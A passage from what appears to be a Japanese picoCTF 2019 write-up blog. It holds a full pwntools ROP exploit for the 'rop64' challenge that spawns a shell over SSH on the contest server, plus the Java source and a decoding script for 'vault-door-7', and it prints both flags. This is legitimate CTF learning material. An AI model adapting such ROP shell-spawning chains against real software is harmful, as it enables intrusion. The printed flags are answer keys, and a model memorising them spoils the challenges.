#!/usr/bin/env python2 # -*- coding:utf-8 -*- # execve generated by ROPgadget from pwn import * from struct import pack e = ELF('./vuln') # picoCTF の shell serverに接続 print('picoCTF shell server login') print 'name: ' pico_name = raw_input('>> ').strip() print 'password: ' pico_pass = raw_input('>> ').strip() pico_ssh = ssh(host='2019shell1.picoctf.com', user=pico_name, password=pico_pass) pico_ssh.set_working_directory('/problems/rop64_6_7b4c515f14d2b9bf173a78e711d404a7') # ここからROPgadgetの出力をそのまま + paddingを指定 # Padding goes here p = 'A' * (16+8) # 24 p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e0) # @ .data p += pack('<Q', 0x00000000004156f4) # pop rax ; ret p += '/bin//sh' p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax p += pack('<Q', 0x0000000000400686) # pop rdi ; ret p += pack('<Q', 0x00000000006b90e0) # @ .data p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x00000000004499b5) # pop rdx ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x000000000047b6ff) # syscall process = pico_ssh.process('./vuln') process.sendline(p) process.interactive()
実行結果
$ python solve.py [*] '/picoCTF_2019/Binary/400_rop64/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Connecting to 2019shell1.picoctf.com on port 22: Done (中略) [*] kusuwada@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [*] Working directory: '/problems/rop64_6_7b4c515f14d2b9bf173a78e711d404a7' [+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 817565 [*] Switching to interactive mode Can you ROP your way out of this? $ $ ls flag.txt vuln vuln.c $ $ cat flag.txt picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_55cf1f7b}$ $
[Reversing] vault-door-7 (400pt)
This vault uses bit shifts to convert a password string into an array of integers. Hurry, agent, we are running out of time to stop Dr. Evil's nefarious plans! The source code for this vault is here: VaultDoor7.java
まだ続きます、このシリーズ!またjavaファイルが配布されます。
import java.util.*; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.security.*; class VaultDoor7 { public static void main(String args[]) { VaultDoor7 vaultDoor = new VaultDoor7(); Scanner scanner = new Scanner(System.in); System.out.print("Enter vault password: "); String userInput = scanner.next(); String input = userInput.substring("picoCTF{".length(),userInput.length()-1); if (vaultDoor.checkPassword(input)) { System.out.println("Access granted."); } else { System.out.println("Access denied!"); } } // Each character can be represented as a byte value using its // ASCII encoding. Each byte contains 8 bits, and an int contains // 32 bits, so we can "pack" 4 bytes into a single int. Here's an // example: if the hex string is "01ab", then those can be // represented as the bytes {0x30, 0x31, 0x61, 0x62}. When those // bytes are represented as binary, they are: // // 0x30: 00110000 // 0x31: 00110001 // 0x61: 01100001 // 0x62: 01100010 // // If we put those 4 binary numbers end to end, we end up with 32 // bits that can be interpreted as an int. // // 00110000001100010110000101100010 -> 808542562 // // Since 4 chars can be represented as 1 int, the 32 character password can // be represented as an array of 8 ints. // // - Minion #7816 public int[] passwordToIntArray(String hex) { int[] x = new int[8]; byte[] hexBytes = hex.getBytes(); for (int i=0; i<8; i++) { x[i] = hexBytes[i*4] << 24 | hexBytes[i*4+1] << 16 | hexBytes[i*4+2] << 8 | hexBytes[i*4+3]; } return x; } public boolean checkPassword(String password) { if (password.length() != 32) { return false; } int[] x = passwordToIntArray(password); return x[0] == 1096770097 && x[1] == 1952395366 && x[2] == 1600270708 && x[3] == 1601398833 && x[4] == 1716808014 && x[5] == 1734293815 && x[6] == 1667379558 && x[7] == 859191138; } }
なんか今までよりは複雑そうな処理です。コメントも長い。
16進数は8桁の2進数で表現できるので、2進に変換したものを4つつなげた数を intarray に突っ込んであるみたいです。
checkPassword
関数にあるintArrayを2進数に変換し、8桁ずつ分解して出てきた数の配列をasciiに変換してあげると良さそう。スクリプトは下記。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- intarray = [1096770097, 1952395366, 1600270708, 1601398833, 1716808014, 1734293815, 1667379558, 859191138] # change intarray to binary binarray = [] for i in intarray: binstr = str(bin(i))[2:] while len(binstr) < 32: binstr = '0' + binstr binarray.append(binstr) # binarray to char flag = '' for chars in binarray: for i in range(4): s = chars[i*8: i*8 + 8] flag += chr(int(s,2)) print('picoCTF{' + flag + '}')
実行結果
$ python solve.py picoCTF{A_b1t_0f_b1t_sh1fTiNg_97cb1f367b}